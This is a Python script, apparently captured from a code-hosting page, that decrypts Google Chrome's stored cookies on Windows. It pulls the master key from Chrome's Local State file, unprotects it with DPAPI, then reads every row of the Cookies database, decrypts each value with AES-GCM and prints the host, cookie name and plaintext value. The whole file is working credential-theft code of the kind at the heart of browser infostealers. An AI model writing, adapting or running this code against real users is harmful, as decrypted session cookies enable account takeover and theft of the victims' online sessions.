63 lines
1.8 KiB
Python
63 lines
1.8 KiB
Python
import os
|
|
import json
|
|
import base64
|
|
import sqlite3
|
|
import win32crypt
|
|
from Cryptodome.Cipher import AES
|
|
from pathlib import Path
|
|
|
|
|
|
def get_master_key():
|
|
with open(
|
|
os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
|
|
) as f:
|
|
local_state = f.read()
|
|
local_state = json.loads(local_state)
|
|
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
|
|
master_key = master_key[5:] # removing DPAPI
|
|
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
|
|
print("MASTER KEY :")
|
|
print(master_key)
|
|
print(len(master_key))
|
|
return master_key
|
|
|
|
|
|
def decrypt_payload(cipher, payload):
|
|
return cipher.decrypt(payload)
|
|
|
|
|
|
def generate_cipher(aes_key, iv):
|
|
return AES.new(aes_key, AES.MODE_GCM, iv)
|
|
|
|
|
|
def decrypt_password(buff, master_key):
|
|
try:
|
|
iv = buff[3:15]
|
|
payload = buff[15:]
|
|
cipher = generate_cipher(master_key, iv)
|
|
decrypted_pass = decrypt_payload(cipher, payload)
|
|
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
|
|
return decrypted_pass
|
|
except Exception:
|
|
# print("Probably saved password from Chrome version older than v80\n")
|
|
# print(str(e))
|
|
return "Chrome < 80"
|
|
|
|
|
|
master_key = get_master_key()
|
|
|
|
cookies_path = Path(
|
|
os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
|
|
)
|
|
|
|
if not cookies_path.exists():
|
|
raise ValueError("Cookies file not found")
|
|
|
|
with sqlite3.connect(cookies_path) as connection:
|
|
connection.row_factory = sqlite3.Row
|
|
cursor = connection.cursor()
|
|
cursor.execute("SELECT * FROM cookies")
|
|
for row in cursor.fetchall():
|
|
decrypted_value = decrypt_password(row["encrypted_value"], master_key)
|
|
print(row["host_key"], row["name"], decrypted_value)
|